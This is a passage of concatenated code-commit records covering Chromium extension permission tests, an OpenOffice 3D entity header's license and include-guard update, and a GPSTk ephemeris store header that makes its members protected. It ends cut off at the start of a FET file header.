OptionalPermissionsAutoConfirm) {\n \/\/ Rather than setting the granted permissions, set the UI autoconfirm flag\n \/\/ and run the same tests.\n RequestPermissionsFunction::SetAutoConfirmForTests(true);\n RequestPermissionsFunction::SetIgnoreUserGestureForTests(true);\n host_resolver()->AddRule(\"*.com\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n EXPECT_TRUE(RunExtensionTest(\"permissions\/optional\")) << message_;\n}\n\n\/\/ Test that denying the optional permissions confirmation dialog works.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, OptionalPermissionsDeny) {\n RequestPermissionsFunction::SetAutoConfirmForTests(false);\n RequestPermissionsFunction::SetIgnoreUserGestureForTests(true);\n host_resolver()->AddRule(\"*.com\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n EXPECT_TRUE(RunExtensionTest(\"permissions\/optional_deny\")) << message_;\n}\n\n\/\/ Tests that the permissions.request function must be called from within a\n\/\/ user gesture.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, OptionalPermissionsGesture) {\n RequestPermissionsFunction::SetIgnoreUserGestureForTests(false);\n host_resolver()->AddRule(\"*.com\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n EXPECT_TRUE(RunExtensionTest(\"permissions\/optional_gesture\")) << message_;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: b3dentty.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: vg $ $Date: 2007-04-11 20:32:22 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _B3D_B3DENTITY_HXX\n#define _B3D_B3DENTITY_HXX\n\n#ifndef _B3D_B3DCOLOR_HXX\n#include <goodies\/b3dcolor.hxx>\n#endif\n\n#ifndef _B3D_BUCKET_HXX\n#include <goodies\/bucket.hxx>\n#endif\n\n#ifndef _BGFX_POINT_B3DPOINT_HXX\n#include <basegfx\/point\/b3dpoint.hxx>\n#endif\n\n#ifndef _BGFX_POINT_B2DPOINT_HXX\n#include <basegfx\/point\/b2dpoint.hxx>\n#endif\n\n#ifndef _BGFX_VECTOR_B3DVECTOR_HXX\n#include <basegfx\/vector\/b3dvector.hxx>\n#endif\n\n\/*************************************************************************\n|*\n|* Merkt sich einen Punkt plus Normale plus Texturkoordinate\n|* (in Zukunft noch weitere Attribute, bsp. Farbe, Kante, Linienmodus\n|*\n\\************************************************************************\/\n\n\/\/ predeclarations\nclass B3dTransformationSet;\nnamespace basegfx\n{\n class B3DHomMatrix;\n} \/\/ end of namespace basegfx\n\nclass B3dEntity\n{\nprivate:\n \/\/ Data defining this point, it's normal and texture coordinates\n basegfx::B3DPoint maPoint;\n basegfx::B3DVector maNormal;\n basegfx::B3DVector maPlaneNormal;\n basegfx::B2DPoint maTexCoor;\n B3dColor maColor;\n\n \/\/ Ist die diesem Punkt folgende Kante sichtbar ?\n \/\/ EdgeFlag bool NOT in bitfield to be able to access it from OpenGL driver\n sal_uInt8 mbEdgeFlag;\n\n \/\/ bitfield\n \/\/ Gueltigkeit der geometrischen Daten\n unsigned mbValid : 1;\n\n \/\/ Wird eine Normale verwendet ?\n unsigned mbNormalUsed : 1;\n\n \/\/ Wird eine Texturkoordinate verwendet ?\n unsigned mbTexCoorUsed : 1;\n\n \/\/ Sind die geometrischen Daten schon in DeviceKoordinaten\n \/\/ umgerechnet ?\n unsigned mbDeviceCoor : 1;\n\npublic:\n B3dEntity() { Reset(); }\n\n sal_Bool IsValid() const { return mbValid; }\n void SetValid(sal_Bool bNew=sal_True) { mbValid = bNew; }\n\n sal_Bool IsNormalUsed() const { return mbNormalUsed; }\n void SetNormalUsed(sal_Bool bNew=sal_True) { mbNormalUsed = bNew; }\n\n sal_Bool IsTexCoorUsed() const { return mbTexCoorUsed; }\n void SetTexCoorUsed(sal_Bool bNew=sal_True) { mbTexCoorUsed = bNew; }\n\n sal_Bool IsDeviceCoor() const { return mbDeviceCoor; }\n void SetDeviceCoor(sal_Bool bNew=sal_True) { mbDeviceCoor = bNew; }\n\n sal_Bool IsEdgeVisible() const { return mbEdgeFlag; }\n void SetEdgeVisible(sal_Bool bNew=sal_True) { mbEdgeFlag = bNew; }\n\n basegfx::B3DPoint& Point() { return maPoint; }\n const basegfx::B3DPoint& Point() const { return maPoint; }\n basegfx::B3DVector& Normal() { return maNormal; }\n const basegfx::B3DVector& Normal() const { return maNormal; }\n basegfx::B3DVector& PlaneNormal() { return maPlaneNormal; }\n const basegfx::B3DVector& PlaneNormal() const { return maPlaneNormal; }\n basegfx::B2DPoint& TexCoor() { return maTexCoor; }\n const basegfx::B2DPoint& TexCoor() const { return maTexCoor; }\n B3dColor& Color() { return maColor; }\n const B3dColor& Color() const { return maColor; }\n sal_uInt8& EdgeFlag() { return mbEdgeFlag; }\n const sal_uInt8& EdgeFlag() const { return mbEdgeFlag; }\n\n double GetX() const { return maPoint.getX(); }\n void SetX(double fNew) { maPoint.setX(fNew); }\n\n double GetY() const { return maPoint.getY(); }\n void SetY(double fNew) { maPoint.setY(fNew); }\n\n double GetZ() const { return maPoint.getZ(); }\n void SetZ(double fNew) { maPoint.setZ(fNew); }\n\n void Reset();\n\n void Copy(B3dEntity& rEnt);\n void ToDeviceCoor(B3dTransformationSet* pSet)\n { if(!IsDeviceCoor()) ImplToDeviceCoor(pSet); }\n void To3DCoor(B3dTransformationSet* pSet)\n { if(IsDeviceCoor()) ImplTo3DCoor(pSet); }\n\n void ForceEqualBase(B3dTransformationSet* pSet, B3dEntity& rOld);\n void ForceEqualBase(B3dTransformationSet* pSet, B3dEntity& rOld1,\n B3dEntity& rOld2);\n void CalcInBetween(B3dEntity& rOld1,\n B3dEntity& rOld2, double t);\n void CalcMiddle(B3dEntity& rOld1,\n B3dEntity& rOld2);\n void CalcMiddle(B3dEntity& rOld1,\n B3dEntity& rOld2, B3dEntity& rOld3);\n\n \/\/ Eine beliebige Transformation auf die Geometrie anwenden\n void Transform(const basegfx::B3DHomMatrix& rMat);\n\nprotected:\n void ImplToDeviceCoor(B3dTransformationSet* pSet);\n void ImplTo3DCoor(B3dTransformationSet* pSet);\n};\n\n\/*************************************************************************\n|*\n|* Bucket fuer geometrische Daten\n|*\n\\************************************************************************\/\n\nBASE3D_DECL_BUCKET(B3dEntity, Bucket)\n\n#endif \/\/ _B3D_B3DENTITY_HXX\n<commit_msg>INTEGRATION: CWS changefileheader (1.2.86); FILE MERGED 2008\/04\/01 15:19:26 thb 1.2.86.3: #i85898# Stripping all external header guards 2008\/04\/01 12:31:02 thb 1.2.86.2: #i85898# Stripping all external header guards 2008\/03\/31 13:39:30 rt 1.2.86.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: b3dentty.hxx,v $\n * $Revision: 1.3 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef _B3D_B3DENTITY_HXX\n#define _B3D_B3DENTITY_HXX\n\n#include <goodies\/b3dcolor.hxx>\n#include <goodies\/bucket.hxx>\n#include <basegfx\/point\/b3dpoint.hxx>\n#include <basegfx\/point\/b2dpoint.hxx>\n#include <basegfx\/vector\/b3dvector.hxx>\n\n\/*************************************************************************\n|*\n|* Merkt sich einen Punkt plus Normale plus Texturkoordinate\n|* (in Zukunft noch weitere Attribute, bsp. Farbe, Kante, Linienmodus\n|*\n\\************************************************************************\/\n\n\/\/ predeclarations\nclass B3dTransformationSet;\nnamespace basegfx\n{\n class B3DHomMatrix;\n} \/\/ end of namespace basegfx\n\nclass B3dEntity\n{\nprivate:\n \/\/ Data defining this point, it's normal and texture coordinates\n basegfx::B3DPoint maPoint;\n basegfx::B3DVector maNormal;\n basegfx::B3DVector maPlaneNormal;\n basegfx::B2DPoint maTexCoor;\n B3dColor maColor;\n\n \/\/ Ist die diesem Punkt folgende Kante sichtbar ?\n \/\/ EdgeFlag bool NOT in bitfield to be able to access it from OpenGL driver\n sal_uInt8 mbEdgeFlag;\n\n \/\/ bitfield\n \/\/ Gueltigkeit der geometrischen Daten\n unsigned mbValid : 1;\n\n \/\/ Wird eine Normale verwendet ?\n unsigned mbNormalUsed : 1;\n\n \/\/ Wird eine Texturkoordinate verwendet ?\n unsigned mbTexCoorUsed : 1;\n\n \/\/ Sind die geometrischen Daten schon in DeviceKoordinaten\n \/\/ umgerechnet ?\n unsigned mbDeviceCoor : 1;\n\npublic:\n B3dEntity() { Reset(); }\n\n sal_Bool IsValid() const { return mbValid; }\n void SetValid(sal_Bool bNew=sal_True) { mbValid = bNew; }\n\n sal_Bool IsNormalUsed() const { return mbNormalUsed; }\n void SetNormalUsed(sal_Bool bNew=sal_True) { mbNormalUsed = bNew; }\n\n sal_Bool IsTexCoorUsed() const { return mbTexCoorUsed; }\n void SetTexCoorUsed(sal_Bool bNew=sal_True) { mbTexCoorUsed = bNew; }\n\n sal_Bool IsDeviceCoor() const { return mbDeviceCoor; }\n void SetDeviceCoor(sal_Bool bNew=sal_True) { mbDeviceCoor = bNew; }\n\n sal_Bool IsEdgeVisible() const { return mbEdgeFlag; }\n void SetEdgeVisible(sal_Bool bNew=sal_True) { mbEdgeFlag = bNew; }\n\n basegfx::B3DPoint& Point() { return maPoint; }\n const basegfx::B3DPoint& Point() const { return maPoint; }\n basegfx::B3DVector& Normal() { return maNormal; }\n const basegfx::B3DVector& Normal() const { return maNormal; }\n basegfx::B3DVector& PlaneNormal() { return maPlaneNormal; }\n const basegfx::B3DVector& PlaneNormal() const { return maPlaneNormal; }\n basegfx::B2DPoint& TexCoor() { return maTexCoor; }\n const basegfx::B2DPoint& TexCoor() const { return maTexCoor; }\n B3dColor& Color() { return maColor; }\n const B3dColor& Color() const { return maColor; }\n sal_uInt8& EdgeFlag() { return mbEdgeFlag; }\n const sal_uInt8& EdgeFlag() const { return mbEdgeFlag; }\n\n double GetX() const { return maPoint.getX(); }\n void SetX(double fNew) { maPoint.setX(fNew); }\n\n double GetY() const { return maPoint.getY(); }\n void SetY(double fNew) { maPoint.setY(fNew); }\n\n double GetZ() const { return maPoint.getZ(); }\n void SetZ(double fNew) { maPoint.setZ(fNew); }\n\n void Reset();\n\n void Copy(B3dEntity& rEnt);\n void ToDeviceCoor(B3dTransformationSet* pSet)\n { if(!IsDeviceCoor()) ImplToDeviceCoor(pSet); }\n void To3DCoor(B3dTransformationSet* pSet)\n { if(IsDeviceCoor()) ImplTo3DCoor(pSet); }\n\n void ForceEqualBase(B3dTransformationSet* pSet, B3dEntity& rOld);\n void ForceEqualBase(B3dTransformationSet* pSet, B3dEntity& rOld1,\n B3dEntity& rOld2);\n void CalcInBetween(B3dEntity& rOld1,\n B3dEntity& rOld2, double t);\n void CalcMiddle(B3dEntity& rOld1,\n B3dEntity& rOld2);\n void CalcMiddle(B3dEntity& rOld1,\n B3dEntity& rOld2, B3dEntity& rOld3);\n\n \/\/ Eine beliebige Transformation auf die Geometrie anwenden\n void Transform(const basegfx::B3DHomMatrix& rMat);\n\nprotected:\n void ImplToDeviceCoor(B3dTransformationSet* pSet);\n void ImplTo3DCoor(B3dTransformationSet* pSet);\n};\n\n\/*************************************************************************\n|*\n|* Bucket fuer geometrische Daten\n|*\n\\************************************************************************\/\n\nBASE3D_DECL_BUCKET(B3dEntity, Bucket)\n\n#endif \/\/ _B3D_B3DENTITY_HXX\n<|endoftext|>"} {"text":"<commit_before><commit_msg>A few more helgrind cleanups (https:\/\/stroika.atlassian.net\/browse\/STK-471_<commit_after><|endoftext|>"} {"text":"<commit_before>#pragma ident \"$Id$\"\n\n\/\/============================================================================\n\/\/\n\/\/ This file is part of GPSTk, the GPS Toolkit.\n\/\/\n\/\/ The GPSTk is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser General Public License as published\n\/\/ by the Free Software Foundation; either version 2.1 of the License, or\n\/\/ any later version.\n\/\/\n\/\/ The GPSTk is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with GPSTk; if not, write to the Free Software Foundation,\n\/\/ Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\/\/\n\/\/ Copyright 2004, The University of Texas at Austin\n\/\/\n\/\/============================================================================\n\n\/\/============================================================================\n\/\/\n\/\/This software developed by Applied Research Laboratories at the University of\n\/\/Texas at Austin, under contract to an agency or agencies within the U.S.\n\/\/Department of Defense. The U.S. Government retains all rights to use,\n\/\/duplicate, distribute, disclose, or release this software.\n\/\/\n\/\/Pursuant to DoD Directive 523024\n\/\/\n\/\/ DISTRIBUTION STATEMENT A: This software has been approved for public\n\/\/ release, distribution is unlimited.\n\/\/\n\/\/=============================================================================\n\n\/**\n * @file TabularEphemerisStore.hpp\n * Store a tabular list of Xvt data (such as a table of precise ephemeris data\n * in an SP3 file) and compute Xvt from this table. A Lagrange interpolation\n * is used to compute the Xvt for times that are not in the table but do have\n * sufficient data.\n *\/\n\n#ifndef GPSTK_TABULAR_EPHEMERIS_STORE_HPP\n#define GPSTK_TABULAR_EPHEMERIS_STORE_HPP\n\n#include <iostream>\n\n#include \"SatID.hpp\"\n#include \"DayTime.hpp\"\n#include \"XvtStore.hpp\"\n#include \"SP3Data.hpp\"\n\nnamespace gpstk\n{\n\n \/** @addtogroup ephemstore *\/\n \/\/@{\n\n \/\/\/ Store a tabular list of Xvt data (such as a table of precise\n \/\/\/ ephemeris data in an SP3 file) and compute Xvt from this table.\n \/\/\/ A Lagrange interpolation is used to compute the Xvt for times that\n \/\/\/ are not in the table but do have sufficient data.\n class TabularEphemerisStore : public XvtStore<SatID>\n {\n public:\n\n \/\/\/ Default constructor\n TabularEphemerisStore()\n throw()\n : haveVelocity(true), initialTime(DayTime::END_OF_TIME),\n finalTime(DayTime::BEGINNING_OF_TIME), checkDataGap(false),\n gapInterval(901.0), checkInterval(false), maxInterval(8105.0)\n {};\n\n\n \/\/\/ Destructor\n virtual ~TabularEphemerisStore() {};\n\n\n \/** Returns the position, velocity, and clock offset of the indicated\n * object in ECEF coordinates (meters) at the indicated time.\n *\n * @param[in] id the object's identifier\n * @param[in] t the time to look up\n *\n * @return the Xvt of the object at the indicated time\n *\n * @throw InvalidRequest If the request can not be completed for any\n * reason, this is thrown. The text may have additional\n * information as to why the request failed.\n *\/\n virtual Xvt getXvt( const SatID id,\n const DayTime& t )\n const throw(InvalidRequest);\n\n\n \/** Returns the acceleration of the indicated object in ECEF\n * coordinates (meters) at the indicated time.\n *\n * @param[in] id the object's identifier\n * @param[in] t the time to look up\n *\n * @return the Triple holding the acceleration of the object at the\n * indicated time\n *\n * @throw InvalidRequest If the request can not be completed for any\n * reason, this is thrown. The text may have additional\n * information as to why the request failed.\n *\/\n virtual Triple getAccel( const SatID id,\n const DayTime& t )\n const throw(InvalidRequest);\n\n\n \/** A debugging function that outputs in human readable form,\n * all data stored in this object.\n *\n * @param[in] s the stream to receive the output; defaults to cout\n * @param[in] detail the level of detail to provide\n *\/\n virtual void dump( std::ostream& s = std::cout,\n short detail = 0 )\n const throw();\n\n\n \/** Edit the dataset, removing data outside the indicated time\n * interval.\n *\n * @param[in] tmin defines the beginning of the time interval\n * @param[in] tmax defines the end of the time interval\n *\/\n virtual void edit( const DayTime& tmin,\n const DayTime& tmax = DayTime(DayTime::END_OF_TIME) )\n throw();\n\n\n \/** Determine the earliest time for which this object can successfully\n * determine the Xvt for any object.\n *\n * @return The initial time\n *\n * @throw InvalidRequest This is thrown if the object has no data.\n *\/\n virtual DayTime getInitialTime()\n const throw(InvalidRequest)\n { return initialTime; };\n\n\n \/** Determine the latest time for which this object can successfully\n * determine the Xvt for any object.\n *\n * @return The final time\n *\n * @throw InvalidRequest This is thrown if the object has no data.\n *\/\n virtual DayTime getFinalTime()\n const throw(InvalidRequest)\n { return finalTime; };\n\n\n \/\/\/ Check if this ephemeris contains velocity information in all\n \/\/\/ datasets loaded.\n virtual bool velocityIsPresent()\n const throw()\n { return haveVelocity; }\n\n\n \/\/\/ Check if this ephemeris contains clock information.\n virtual bool clockIsPresent()\n const throw()\n { return true; };\n\n \/\/\/ Get number of satellite maps\n int nsats(void) throw() { return pe.size(); }\n\n \/\/\/ Get total number of ephemerides, all sats\n int neph(void) throw() {\n int n(0);\n std::map<SatID, SvEphMap>::const_iterator it(pe.begin());\n while(it != pe.end()) {\n n += it->second.size();\n ++it; \n }\n return n;\n }\n\n \/\/---------------------------------------------------------------\n \/\/ Below are interfaces that are unique to this class (i.e. not\n \/\/ in the parent class)\n \/\/---------------------------------------------------------------\n\n \/\/\/ Insert a new SP3Data object into the store\n void addEphemeris(const SP3Data& data)\n throw();\n\n\n \/\/\/ Remove all data\n void clear() throw();\n\n\n \/\/\/ Enable checking of data gaps.\n void enableDataGapCheck(void)\n { checkDataGap = true; };\n\n\n \/\/\/ Disable checking of data gaps.\n void disableDataGapCheck(void)\n { checkDataGap = false; };\n\n\n \/\/\/ Get current gap interval.\n double getGapInterval(void)\n { return gapInterval; };\n\n\n \/\/\/ Set gap interval.\n void setGapInterval(double interval)\n { gapInterval = interval; return; };\n\n\n \/\/\/ Enable checking of maximum interval.\n void enableIntervalCheck(void)\n { checkInterval = true; };\n\n\n \/\/\/ Disable checking of maximum interval.\n void disableIntervalCheck(void)\n { checkInterval = false; };\n\n\n \/\/\/ Get current maximum interval.\n double getMaxInterval(void)\n { return maxInterval; };\n\n\n \/\/\/ Set maximum interval.\n void setMaxInterval(double interval)\n { maxInterval = interval; return; };\n\n\n protected:\n\n\n \/\/\/ Flag indicating that velocity data present in all datasets loaded.\n bool haveVelocity;\n\n\n private:\n\n\n \/\/\/ The key to this map is the time\n typedef std::map<DayTime, Xvt> SvEphMap;\n\n\n \/\/\/ The key to this map is the svid of the satellite (usually the prn)\n typedef std::map<SatID, SvEphMap> EphMap;\n\n\n \/\/\/ the map of SVs and XVTs\n EphMap pe;\n\n \/** These give the overall span of time for which this object\n * contains data.\n *\n * NB there may be gaps in the data, i.e. the data may not be\n * continuous.\n *\/\n DayTime initialTime, finalTime;\n\n\n \/** Flag to check for data gaps.\n *\n * If this flag is enabled, data gaps wider than \"gapInterval\" will\n * generate an \"InvalidRequest\" exception when using method \"getXvt()\".\n *\n * This flag is disabled by default.\n *\/\n bool checkDataGap;\n\n\n \/** Maximum interval of time (in seconds) to declare a data gap.\n *\n * Recommended value is (SP3 sample period) + 1, in seconds, which\n * means 900 s + 1 s = 901 s for a typical 15-minutes-per-sample\n * SP3 file.\n *\n * This field is useful only if \"checkDataGap\" is enabled. Use method\n * \"enableDataGapCheck()\" for this.\n *\/\n double gapInterval;\n\n\n \/** Flag to check for interpolation interval.\n *\n * If this flag is enabled, interpolation intervals wider than\n * \"maxInterval\" will generate an \"InvalidRequest\" exception when\n * using method \"getXvt()\".\n *\n * This flag is disabled by default.\n *\/\n bool checkInterval;\n\n\n \/** Maximum interval of time (in seconds) allowed to carry out the\n * interpolation process.\n *\n * Recommended value is (10 - 1) * (SP3 sample period) + 5, in\n * seconds, which means 8100 s + 5 s = 8105 s for a typical\n * 15-minutes-per-sample SP3 file (please note that the order of the\n * Lagrange interpolation is usually 10).\n *\n * This field is useful only if \"checkInterval\" is enabled. Use method\n * \"enableIntervalCheck()\" for this.\n *\/\n double maxInterval;\n\n };\n\n\n \/\/@}\n\n} \/\/ End of namespace gpstk\n\n#endif \/\/ GPSTK_TABULAR_EPHEMERIS_STORE_HPP\n<commit_msg>change the class members to 'protected' from 'private' to make inherited classes to access these members. a new class 'IGSEphemerisStore' to process igs sp3 and clk files will be implemented, and the getXvt() function can be rewritten to process daily data with daily ephemeris but not three days ephemeris<commit_after>#pragma ident \"$Id$\"\n\n\/\/============================================================================\n\/\/\n\/\/ This file is part of GPSTk, the GPS Toolkit.\n\/\/\n\/\/ The GPSTk is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser General Public License as published\n\/\/ by the Free Software Foundation; either version 2.1 of the License, or\n\/\/ any later version.\n\/\/\n\/\/ The GPSTk is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with GPSTk; if not, write to the Free Software Foundation,\n\/\/ Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\/\/\n\/\/ Copyright 2004, The University of Texas at Austin\n\/\/\n\/\/============================================================================\n\n\/\/============================================================================\n\/\/\n\/\/This software developed by Applied Research Laboratories at the University of\n\/\/Texas at Austin, under contract to an agency or agencies within the U.S.\n\/\/Department of Defense. The U.S. Government retains all rights to use,\n\/\/duplicate, distribute, disclose, or release this software.\n\/\/\n\/\/Pursuant to DoD Directive 523024\n\/\/\n\/\/ DISTRIBUTION STATEMENT A: This software has been approved for public\n\/\/ release, distribution is unlimited.\n\/\/\n\/\/=============================================================================\n\n\/**\n * @file TabularEphemerisStore.hpp\n * Store a tabular list of Xvt data (such as a table of precise ephemeris data\n * in an SP3 file) and compute Xvt from this table. A Lagrange interpolation\n * is used to compute the Xvt for times that are not in the table but do have\n * sufficient data.\n *\/\n\n#ifndef GPSTK_TABULAR_EPHEMERIS_STORE_HPP\n#define GPSTK_TABULAR_EPHEMERIS_STORE_HPP\n\n#include <iostream>\n\n#include \"SatID.hpp\"\n#include \"DayTime.hpp\"\n#include \"XvtStore.hpp\"\n#include \"SP3Data.hpp\"\n\nnamespace gpstk\n{\n\n \/** @addtogroup ephemstore *\/\n \/\/@{\n\n \/\/\/ Store a tabular list of Xvt data (such as a table of precise\n \/\/\/ ephemeris data in an SP3 file) and compute Xvt from this table.\n \/\/\/ A Lagrange interpolation is used to compute the Xvt for times that\n \/\/\/ are not in the table but do have sufficient data.\n class TabularEphemerisStore : public XvtStore<SatID>\n {\n public:\n\n \/\/\/ Default constructor\n TabularEphemerisStore()\n throw()\n : haveVelocity(true), initialTime(DayTime::END_OF_TIME),\n finalTime(DayTime::BEGINNING_OF_TIME), checkDataGap(false),\n gapInterval(901.0), checkInterval(false), maxInterval(8105.0)\n {};\n\n\n \/\/\/ Destructor\n virtual ~TabularEphemerisStore() {};\n\n\n \/** Returns the position, velocity, and clock offset of the indicated\n * object in ECEF coordinates (meters) at the indicated time.\n *\n * @param[in] id the object's identifier\n * @param[in] t the time to look up\n *\n * @return the Xvt of the object at the indicated time\n *\n * @throw InvalidRequest If the request can not be completed for any\n * reason, this is thrown. The text may have additional\n * information as to why the request failed.\n *\/\n virtual Xvt getXvt( const SatID id,\n const DayTime& t )\n const throw(InvalidRequest);\n\n\n \/** Returns the acceleration of the indicated object in ECEF\n * coordinates (meters) at the indicated time.\n *\n * @param[in] id the object's identifier\n * @param[in] t the time to look up\n *\n * @return the Triple holding the acceleration of the object at the\n * indicated time\n *\n * @throw InvalidRequest If the request can not be completed for any\n * reason, this is thrown. The text may have additional\n * information as to why the request failed.\n *\/\n virtual Triple getAccel( const SatID id,\n const DayTime& t )\n const throw(InvalidRequest);\n\n\n \/** A debugging function that outputs in human readable form,\n * all data stored in this object.\n *\n * @param[in] s the stream to receive the output; defaults to cout\n * @param[in] detail the level of detail to provide\n *\/\n virtual void dump( std::ostream& s = std::cout,\n short detail = 0 )\n const throw();\n\n\n \/** Edit the dataset, removing data outside the indicated time\n * interval.\n *\n * @param[in] tmin defines the beginning of the time interval\n * @param[in] tmax defines the end of the time interval\n *\/\n virtual void edit( const DayTime& tmin,\n const DayTime& tmax = DayTime(DayTime::END_OF_TIME) )\n throw();\n\n\n \/** Determine the earliest time for which this object can successfully\n * determine the Xvt for any object.\n *\n * @return The initial time\n *\n * @throw InvalidRequest This is thrown if the object has no data.\n *\/\n virtual DayTime getInitialTime()\n const throw(InvalidRequest)\n { return initialTime; };\n\n\n \/** Determine the latest time for which this object can successfully\n * determine the Xvt for any object.\n *\n * @return The final time\n *\n * @throw InvalidRequest This is thrown if the object has no data.\n *\/\n virtual DayTime getFinalTime()\n const throw(InvalidRequest)\n { return finalTime; };\n\n\n \/\/\/ Check if this ephemeris contains velocity information in all\n \/\/\/ datasets loaded.\n virtual bool velocityIsPresent()\n const throw()\n { return haveVelocity; }\n\n\n \/\/\/ Check if this ephemeris contains clock information.\n virtual bool clockIsPresent()\n const throw()\n { return true; };\n\n \/\/\/ Get number of satellite maps\n int nsats(void) throw() { return pe.size(); }\n\n \/\/\/ Get total number of ephemerides, all sats\n int neph(void) throw() {\n int n(0);\n std::map<SatID, SvEphMap>::const_iterator it(pe.begin());\n while(it != pe.end()) {\n n += it->second.size();\n ++it; \n }\n return n;\n }\n\n \/\/---------------------------------------------------------------\n \/\/ Below are interfaces that are unique to this class (i.e. not\n \/\/ in the parent class)\n \/\/---------------------------------------------------------------\n\n \/\/\/ Insert a new SP3Data object into the store\n void addEphemeris(const SP3Data& data)\n throw();\n\n\n \/\/\/ Remove all data\n void clear() throw();\n\n\n \/\/\/ Enable checking of data gaps.\n void enableDataGapCheck(void)\n { checkDataGap = true; };\n\n\n \/\/\/ Disable checking of data gaps.\n void disableDataGapCheck(void)\n { checkDataGap = false; };\n\n\n \/\/\/ Get current gap interval.\n double getGapInterval(void)\n { return gapInterval; };\n\n\n \/\/\/ Set gap interval.\n void setGapInterval(double interval)\n { gapInterval = interval; return; };\n\n\n \/\/\/ Enable checking of maximum interval.\n void enableIntervalCheck(void)\n { checkInterval = true; };\n\n\n \/\/\/ Disable checking of maximum interval.\n void disableIntervalCheck(void)\n { checkInterval = false; };\n\n\n \/\/\/ Get current maximum interval.\n double getMaxInterval(void)\n { return maxInterval; };\n\n\n \/\/\/ Set maximum interval.\n void setMaxInterval(double interval)\n { maxInterval = interval; return; };\n\n\n protected:\n\n\n \/\/\/ Flag indicating that velocity data present in all datasets loaded.\n bool haveVelocity;\n\n\n protected:\n\n\n \/\/\/ The key to this map is the time\n typedef std::map<DayTime, Xvt> SvEphMap;\n\n\n \/\/\/ The key to this map is the svid of the satellite (usually the prn)\n typedef std::map<SatID, SvEphMap> EphMap;\n\n\n \/\/\/ the map of SVs and XVTs\n EphMap pe;\n\n \/** These give the overall span of time for which this object\n * contains data.\n *\n * NB there may be gaps in the data, i.e. the data may not be\n * continuous.\n *\/\n DayTime initialTime, finalTime;\n\n\n \/** Flag to check for data gaps.\n *\n * If this flag is enabled, data gaps wider than \"gapInterval\" will\n * generate an \"InvalidRequest\" exception when using method \"getXvt()\".\n *\n * This flag is disabled by default.\n *\/\n bool checkDataGap;\n\n\n \/** Maximum interval of time (in seconds) to declare a data gap.\n *\n * Recommended value is (SP3 sample period) + 1, in seconds, which\n * means 900 s + 1 s = 901 s for a typical 15-minutes-per-sample\n * SP3 file.\n *\n * This field is useful only if \"checkDataGap\" is enabled. Use method\n * \"enableDataGapCheck()\" for this.\n *\/\n double gapInterval;\n\n\n \/** Flag to check for interpolation interval.\n *\n * If this flag is enabled, interpolation intervals wider than\n * \"maxInterval\" will generate an \"InvalidRequest\" exception when\n * using method \"getXvt()\".\n *\n * This flag is disabled by default.\n *\/\n bool checkInterval;\n\n\n \/** Maximum interval of time (in seconds) allowed to carry out the\n * interpolation process.\n *\n * Recommended value is (10 - 1) * (SP3 sample period) + 5, in\n * seconds, which means 8100 s + 5 s = 8105 s for a typical\n * 15-minutes-per-sample SP3 file (please note that the order of the\n * Lagrange interpolation is usually 10).\n *\n * This field is useful only if \"checkInterval\" is enabled. Use method\n * \"enableIntervalCheck()\" for this.\n *\/\n double maxInterval;\n\n };\n\n\n \/\/@}\n\n} \/\/ End of namespace gpstk\n\n#endif \/\/ GPSTK_TABULAR_EPHEMERIS_STORE_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/\n\/\/ Description: This file is part of FET\n\/\/\n\/\/\n\/\/ Author: Lalescu Liviu <Please see https:\/\/lalescu.ro\/liviu\/ for details about contacting Liviu 